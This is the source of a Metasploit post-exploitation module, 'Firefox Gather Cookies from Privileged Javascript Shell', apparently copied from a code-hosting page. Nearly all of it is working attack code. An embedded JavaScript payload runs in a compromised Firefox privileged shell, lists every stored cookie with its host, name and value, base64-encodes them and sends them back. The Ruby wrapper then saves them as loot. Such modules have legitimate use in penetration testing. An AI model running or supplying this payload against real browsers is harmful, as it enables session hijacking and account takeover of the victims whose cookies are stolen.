Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'json'
7

8
class MetasploitModule < Msf::Post
9
  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Firefox Gather Cookies from Privileged Javascript Shell',
16
        'Description' => %q{
17
          This module allows collection of cookies from a Firefox Privileged Javascript Shell.
18
        },
19
        'License' => MSF_LICENSE,
20
        'Author' => [ 'joev' ],
21
        'DisclosureDate' => '2014-03-26'
22
      )
23
    )
24

25
    register_options([
26
      OptInt.new('TIMEOUT', [true, 'Maximum time (seconds) to wait for a response', 90])
27
    ])
28
  end
29

30
  def run
31
    results = js_exec(js_payload)
32
    if results.present?
33
      begin
34
        cookies = JSON.parse(results)
35
        cookies.each do |entry|
36
          entry.each_key { |k| entry[k] = Rex::Text.decode_base64(entry[k]) }
37
        end
38

39
        file = store_loot('firefox.cookies.json', 'text/json', rhost, results)
40
        print_good("Saved #{cookies.length} cookies to #{file}")
41
      rescue JSON::ParserError => e
42
        print_warning(results)
43
      end
44
    end
45
  end
46

47
  def js_payload
48
    %|
49
      (function(send){
50
        try {
51
          var b64 = Components.utils.import("resource://gre/modules/Services.jsm").btoa;
52
          var cookieManager = Components.classes["@mozilla.org/cookiemanager;1"]
53
                        .getService(Components.interfaces.nsICookieManager);
54
          var cookies = [];
55
          var iter = cookieManager.enumerator;
56
          while (iter.hasMoreElements()){
57
            var cookie = iter.getNext();
58
            if (cookie instanceof Components.interfaces.nsICookie){
59
              cookies.push({host:b64(cookie.host), name:b64(cookie.name), value:b64(cookie.value)})
60
            }
61
          }
62
          send(JSON.stringify(cookies));
63
        } catch (e) {
64
          send(e);
65
        }
66
      })(this.send);
67
    |.strip
68
  end
69
end
70

71